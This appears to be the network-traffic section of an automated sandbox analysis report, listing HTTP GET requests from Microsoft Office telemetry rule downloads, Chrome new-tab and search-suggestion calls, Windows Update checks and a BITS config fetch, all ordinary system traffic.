Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5syat1Zu8ocbdEw&MD=TM45XRFd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5syat1Zu8ocbdEw&MD=TM45XRFd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
